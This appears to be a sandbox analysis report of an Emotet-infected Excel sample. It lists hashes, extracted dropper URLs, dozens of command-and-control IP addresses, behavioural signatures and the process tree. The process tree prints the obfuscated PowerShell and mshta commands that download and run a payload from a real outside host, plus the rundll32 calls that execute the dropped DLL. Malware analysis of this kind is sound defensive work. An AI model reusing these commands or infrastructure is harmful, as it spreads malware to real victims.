emotet | e71d00ea39708c3ca2658b9d21bab94c78e4fa92b725fbc3e164cfcbc8eb84f6

Analysis

max time kernel
122s
max time network
166s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:54

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General

Target
tmph6qyf524.xls
Size 85KB
Sample220128-vel5vsggep
SHA256 e71d00ea39708c3ca2658b9d21bab94c78e4fa92b725fbc3e164cfcbc8eb84f6
MD5 46b3f53dff0b2ea7ecc064f9a8793cd9
SHA1 31b665880fc696433d287a814001a8def217afb4
SHA512 d7022faaaf11800dafeba64d6819d91edbba31020cf07738298156f86b81a70a9cece5aef241f7068ee0af5d0dfc77518e317263649df365a6af4f0e90468c19
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3860	916	CMD.EXE	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
37	652	mshta.exe
44	3212	powershell.exe
46	3212	powershell.exe
48	3212	powershell.exe
51	3588	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1552	rundll32.exe
2372	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Jhffunsfdxhotp\vfyhridkbka.mzq	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3196	652	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
916	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3588	rundll32.exe
3588	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	3196	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE
916	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 3860	916	EXCEL.EXE	71
PID 916 wrote to memory of 3860	916	EXCEL.EXE	71
PID 3860 wrote to memory of 652	3860	CMD.EXE	73
PID 3860 wrote to memory of 652	3860	CMD.EXE	73
PID 652 wrote to memory of 3212	652	mshta.exe	75
PID 652 wrote to memory of 3212	652	mshta.exe	75
PID 3212 wrote to memory of 1992	3212	powershell.exe	80
PID 3212 wrote to memory of 1992	3212	powershell.exe	80
PID 1992 wrote to memory of 1552	1992	cmd.exe	81
PID 1992 wrote to memory of 1552	1992	cmd.exe	81
PID 1992 wrote to memory of 1552	1992	cmd.exe	81
PID 1552 wrote to memory of 2372	1552	rundll32.exe	82
PID 1552 wrote to memory of 2372	1552	rundll32.exe	82
PID 1552 wrote to memory of 2372	1552	rundll32.exe	82
PID 2372 wrote to memory of 1772	2372	rundll32.exe	83
PID 2372 wrote to memory of 1772	2372	rundll32.exe	83
PID 2372 wrote to memory of 1772	2372	rundll32.exe	83
PID 1772 wrote to memory of 3588	1772	rundll32.exe	84
PID 1772 wrote to memory of 3588	1772	rundll32.exe	84
PID 1772 wrote to memory of 3588	1772	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmph6qyf524.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3212
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1992
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1552
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2372
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jhffunsfdxhotp\vfyhridkbka.mzq",SrPjOPZjKDfG
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1772
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jhffunsfdxhotp\vfyhridkbka.mzq",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3588
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 652 -s 1636
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/916-413-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Download

memory/916-122-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Download

memory/916-131-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Download

memory/916-132-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Download

memory/916-414-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Download

memory/916-121-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/916-412-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/916-411-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/916-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/916-120-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/916-119-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/1552-356-0x0000000004610000-0x0000000004635000-memory.dmp

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memory/1772-372-0x0000000004630000-0x0000000004655000-memory.dmp

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memory/2372-361-0x0000000004780000-0x00000000047A5000-memory.dmp

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memory/2372-359-0x0000000002F90000-0x0000000002FB5000-memory.dmp

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memory/2372-364-0x0000000004BD0000-0x0000000004BF5000-memory.dmp

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memory/3212-329-0x0000013200740000-0x00000132007E0000-memory.dmp

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memory/3212-324-0x000001321AD30000-0x000001321ADA6000-memory.dmp

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memory/3212-322-0x0000013200740000-0x00000132007E0000-memory.dmp

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memory/3212-320-0x0000013200740000-0x00000132007E0000-memory.dmp

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memory/3212-311-0x000001321A7B0000-0x000001321A7EC000-memory.dmp

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memory/3212-292-0x000001321A640000-0x000001321A662000-memory.dmp

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memory/3588-376-0x0000000003F80000-0x0000000003FA5000-memory.dmp

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